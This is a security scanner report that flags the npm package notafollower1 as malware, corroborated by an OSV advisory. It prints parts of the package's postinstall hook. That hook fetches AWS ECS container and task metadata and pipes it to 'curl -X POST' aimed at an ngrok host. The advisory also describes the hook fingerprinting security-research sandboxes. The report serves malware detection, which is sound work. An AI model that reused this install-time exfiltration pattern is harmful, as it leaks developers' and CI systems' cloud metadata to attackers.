notafollower1@1.0.1: Malicious npm security report (Block)

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation automatically collects ECS runtime metadata and posts it externally. The package has no other source files.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm postinstall during package installation

Impact

Exposure of container, task, and runtime statistics metadata to a third-party endpoint.

Mechanism

ECS metadata harvesting piped to curl exfiltration

Attack narrative

On install, the postinstall shell command reads the ECS metadata base URL supplied by the environment, fetches its base, task, and stats resources, writes their contents to stdout, and pipes that output to curl for a POST to an external ngrok host. This is unconsented install-time cloud-runtime metadata exfiltration.

Rationale

The sole package behavior is an automatic install hook that harvests ECS metadata and transmits it to an unrelated external endpoint. This is a concrete exfiltration chain, not a package-aligned feature.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines an automatic postinstall hook.
The hook fetches ECS container metadata, task metadata, and stats from the runtime-provided metadata URI.
It pipes those responses to an external ngrok endpoint via curl POST.

Evidence against

The package contains only package.json; no benign implementation or documented user-invoked purpose is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;Promise.all([fetch(b),fetch(b+'/task'),fetch(b+'/stats')]).then(async([r1,r2,r3])=>{console.log('container:',r1.status,aw...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;Promise.all([fetch(b),fetch(b+'/task'),fetch(b+'/stats')]).then(async([r1,r2,r3])=>{console.log('container:',r1.status,aw...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"const b=process.env.ECS_CONTAINER_METADATA_URI_V4;Promise.all([fetch(b),fetch(b+'/task'),fetch(b+'/stats')])

High

Suspicious Lifecycle Evidence

package.json defines an automatic postinstall hook.

package.jsonView on unpkg · L5

5fetch(b),fetch(b+'/task'),fetch(b+'/stats')

High

Ai Review Evidence

The hook fetches ECS container metadata, task metadata, and stats from the runtime-provided metadata URI.

package.jsonView on unpkg · L5

5| curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Ai Review Evidence

It pipes those responses to an external ngrok endpoint via curl POST.

package.jsonView on unpkg · L5

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;Promise.all([fetch(b),fetch(b+'/task'),fetch(b+'/stats')]).then(async([r1,r2,r3])=>{console.log('container:',r1.status,aw...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node -e "const b=process.env.ECS_CONTAINER_METADATA_URI_V4;Promise.all([fetch(b),fetch(b+'/task'),fetch(b+'/stats')]).then(async([r1,r2,r3])=>{console.log('container:',r1.status,aw...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "node -e \"const b=process.env.ECS_CONTAINER_METADATA_URI_V4;Promise.all([fetch(b),fetch(b+'/task'),fetch(b+'/stats')])

High

Suspicious Lifecycle Evidence

package.json defines an automatic postinstall hook.

package.jsonView on unpkg · L5

Findings

1 Critical4 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepackage.json

LowScripts Present

LowNo License